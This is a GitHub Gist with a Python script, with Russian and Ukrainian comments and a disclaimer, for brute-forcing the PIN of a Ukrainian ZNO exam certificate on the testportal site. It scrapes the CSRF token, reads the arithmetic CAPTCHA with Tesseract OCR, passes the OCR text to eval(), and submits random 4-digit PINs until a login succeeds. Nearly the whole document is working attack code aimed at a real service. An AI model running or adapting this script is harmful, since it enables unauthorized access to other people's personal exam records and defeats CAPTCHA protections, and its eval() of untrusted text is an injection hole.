Created
June 16, 2019 16:17
-
-
Save MrOnlineCoder/5d30bda30babd0ff5bf9e9661063afbd to your computer and use it in GitHub Desktop.
PIN Bruteforce for ZNO Certificate
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ZNO Certificate Bruteforce | |
# by MrOnlineCoder | |
# 2019 | |
# ========================== | |
# Данный скрипт выполняет брутфорс на сайт УЦОЯО | |
# для подбора PIN кода от сертификата ЗНО | |
# | |
# Использование: python brute.py cert year | |
# Где cert - 7 значный номер сертификата, а year - год выдачи | |
# | |
# Системные требования: | |
# - установленный Python 3 | |
# - модуль Python Requests | |
# - модуль pytesseract | |
# - установленный Tesseract OCR (а также наличие его бинарника tesseract.exe в PATH) | |
# - файл конфигурации zno в папке Tesseract OCR/tessdata/configs | |
# Содержание файла zno (создайте такой файл и запишите следующие данные): | |
# tessedit_char_whitelist 0123456789-+= | |
# На каждый запрос будет сохранена капча с соотвественным токеном CSRF в названии. | |
# | |
# Примечание: скрипт работает ТОЛЬКО на первые 5-10 попыток, так как на API | |
# testpotal.com.ua стоит защита от брутфорса (в ответе будете получать ошибку "bruteforce") | |
# | |
# Скрипт построен на основании сайта версии от 16.06.2019 | |
# Ход работы: | |
# 1. Получить страницу входа (/info/login), | |
# 2. Вытянуть от туда с помощью регулярных выражений CSRF токен и адрес капчи | |
# 3. Сохранить капчу в файл, записав результат запроса на /info/captcha | |
# 4. С помощью Tesseract OCR, распознать капчу, получить математическое выражение в виде строки | |
# 5. Вычислить результат выржения из п. 4 с помощью eval() | |
# 6. Попробовать выполнить вход POST /info/_login | |
# 7. Если тело ответа == 'accept' - данные для входа правильные. | |
# DISCLAIMER: | |
# Це програмне забезпечення було зроблено виключно в дослідницьких/наукових цілях, | |
# для вдосконалення навичок в сфері програмування та кібербезпеки. | |
# Автор коду НЕ залучає, НЕ виконує та НЕ підтримує взлом електронних систем або персональних даних. | |
# Автор коду НЕ несе відповідальності за будь який збиток нанесений | |
# електронним системам або персональним даним фізичним або юридичним особам. | |
import pytesseract | |
import sys | |
import argparse | |
try: | |
import Image | |
except ImportError: | |
from PIL import Image | |
from subprocess import check_output | |
import requests | |
import re | |
from io import BytesIO | |
import random | |
def getLoginPageAndCookie(): | |
session = requests.Session() | |
lr = session.get('https://zno.testportal.com.ua/info/login') | |
return lr.text, session.cookies.get_dict() | |
def findToken(page): | |
m = re.search('<input type="hidden" name="_token" value="(.+?)">', page) | |
if m: | |
found = m.group(1) | |
return found | |
def findCaptchaUrl(page): | |
m = re.search('title="Показати іншу дію" src="(.+?)">', page) | |
if m: | |
found = m.group(1) | |
return 'https://zno.testportal.com.ua'+found | |
def getCaptchaAndCookies(url, cookies): | |
session = requests.Session() | |
cr = session.get(url, cookies=cookies) | |
return cr.content, session.cookies.get_dict() | |
def saveCaptcha(token, data): | |
path = token+'.png' | |
i = Image.open(BytesIO(data)) | |
i.save(path, 'png') | |
return path | |
def resolveCaptcha(path): | |
return pytesseract.image_to_string(path, config='output nobatch zno') | |
def getCaptchaResult(text): | |
return eval(text[:-1]) | |
def tryLogin(cert, pin, year, token, captcha, cookie): | |
session = requests.Session() | |
_cookies = cookie; | |
r = session.post('https://zno.testportal.com.ua/info/_login', data = { | |
'_token': token, | |
'info[CertNum]': cert, | |
'info[CertPIN]': pin, | |
'info[CertYear]': year, | |
'info[captcha]': captcha | |
}, headers = { | |
'Host': 'zno.testportal.com.ua', | |
'Origin': 'https://zno.testportal.com.ua', | |
'Referer': 'https://zno.testportal.com.ua/info/login', | |
'X-Requested-With': 'XMLHttpRequest', | |
'X-CSRF-TOKEN': token, | |
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36' | |
}, cookies = _cookies); | |
return str(r.status_code), r.text | |
def attemptLogin(cert, year, pin): | |
page, cookies1 = getLoginPageAndCookie() | |
token = findToken(page) | |
url = findCaptchaUrl(page) | |
captcha, cookies2 = getCaptchaAndCookies(url, cookies1) | |
savedCaptchaPath = saveCaptcha(token, captcha) | |
captchaText = resolveCaptcha(savedCaptchaPath) | |
captchaResult = getCaptchaResult(captchaText) | |
status, text = tryLogin(cert, pin, year, token, captchaResult, cookies2) | |
print(cert +' @ '+year+' (PIN '+pin+') ==> HTTP '+status+' | '+text) | |
return text | |
def tryCertLogin(cert, year): | |
lastText = 'error' | |
lastPin = 1000 | |
while not lastText == 'accept': | |
lastPin = random.randint(1000, 9999) | |
lastText = attemptLogin(cert, year, str(lastPin)) | |
print('[!] Process finished! Certificate '+cert+'@'+year+' cracked, PIN='+lastPin) | |
if __name__=="__main__": | |
argparser = argparse.ArgumentParser() | |
argparser.add_argument('cert',help = 'ZNO Certificate Number (7 digits)') | |
argparser.add_argument('year',help = 'ZNO Certificate Year of Issue') | |
args = argparser.parse_args() | |
tryCertLogin(args.cert, args.year) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment